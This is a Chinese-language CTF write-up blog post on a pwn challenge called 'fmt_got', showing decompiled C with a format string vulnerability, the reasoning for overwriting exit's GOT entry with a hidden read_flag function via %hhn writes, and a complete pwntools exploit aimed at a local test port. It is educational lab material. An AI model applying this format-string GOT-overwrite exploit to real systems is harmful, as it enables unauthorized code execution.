fmt_got

你好,又见面了…

也有可能是第一次见面?

算了今天不废话了,直接看题目吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void main(void)
{
long in_FS_OFFSET;
char local_118 [264];
undefined8 local_10;

local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
setup();
puts("tell me what you want to say:");
printf("\n> ");
builtin_strncpy(local_118,"That\'s what you want to say... ",0x23);
read(0,local_118 + 0x22,0x100);
printf(local_118);
puts("\nthat\'s it? boring... bye");
FUN_00401140(1);
halt_baddata();
}

还悄悄藏了一个函数…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void read_flag(void)

{
FILE *__stream;
long in_FS_OFFSET;
char local_58 [72];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
__stream = fopen("flag","r");
if (__stream == (FILE *)0x0) {
puts("flag not found! Contact admin if you see this on the remote server.");
FUN_00401140(1);
}
fgets(local_58,0x40,__stream);
printf("How you do that... here is the flag: %s\n",local_58);
fclose(__stream);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return; #ps:反正就是cat flag,写那么长我真没招了
}

保护为NXcanary found,但是不好意思,今天不打返回地址,注意到题目存在格式化字符串漏洞,同时保护为partial RELRO,因此GOT表可写,直接利用%n任意写覆盖exit的GOT表地址为read_flag即可

在此之前,你可能需要一些前置知识

1.什么是格式化字符串漏洞,本人词不达意,还请参考如下链接(直接点,放心)

fmt

(2026.2.11复盘时吐槽:你不是词不达意,你是懒得写…)

2.什么是got表,什么是plt,动态链接器(ld,哈哈哈)和共享库是什么,程序第一次调用puts这个函数时到底发生了什么,想必经过ret2libc的洗礼,前两个问题的答案你已知晓,但是后两个问题将回到更底层的维度,等待着你去探索(我也在探索中…),也许我后面会写一篇关于此和ret2dlresolve的文章,等我先沉淀沉淀吧…

OK,还是回到题目本身

先观察我们格式化字符的写入点

qwq

可以看到,我们的AAAA从第十个%p的第低三位个字节开始写起,我们的目标是将exit的got(0x403430)覆写为read_flag(0x401236),采用%hhn逐字节写的方式

先将0x403430的最低字节0x30覆写为0x36(注意小端序地址表示法),注意builtin_strncpy(local_118,"That\'s what you want to say... ",0x23);已经给了local_11834字节的长度,所以再补20个字节得到0x36(54)便可达到目的

然后将0x403431,即第低二位字节0x34覆写为0x12即可,注意此时local_118的长度已经是54,而目标是0x12(18),因此先补202个字节至256(你懂的),再补18个字节回到0x12,一共220个字节,便成功覆写了exit的GOTread_flag

先大致写出payload

1
payload  = b'%20x%?$hhn%220x%?$hhn'

?即写入地址0x403430和0x403431的位置,我们推理一下,首先?必定为两位数,因此payload所占字节长度为23,而我们输入的字符从第十个%p的第低三位个字节开始写起,因此发送payload后先是6个字节写完了10,而后还有17个字节分别完了11,12,并写了13的1个字节,因此再补7个字节的长度填满13,最后输入要覆写的地址0x403430,0x403431即在14,15的位置,真是一场酣畅淋漓的构造啊…

当时的我只是傻傻地对着wp猜偏移,经过很长时间的分析(真的很长时间,没人问,纯自己瞎折腾 (╥﹏╥) )才终于理解了本质,现在写下来,希望能帮到困惑的你…

最后贴一下完整exp(真的很短,但是也真的很值得深思…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.arch = "amd64"
context.log_level = "debug"
os = "linux"
#p = process('./fmt_got')
p = remote('127.0.0.1',46677)

payload = b'%20x%14$hhn%220x%15$hhn'
payload += b'\x00' * 7
payload += p64(0x403430) + p64(0x403431)

p.sendafter(b'\n> ', payload)

p.interactive()

好了,又写一篇,感谢阅读,天天开心…

2026.2.12吐槽:

虽然写得挺唐

不过好在思路是正确的

不过我也没资格说你唐就是了

毕竟你就是我嘛…


fmt_got
https://roxy5201314.github.io/2025/12/30/fmt-got/
作者
roxy
发布于
2025年12月30日
更新于
2026年2月12日
许可协议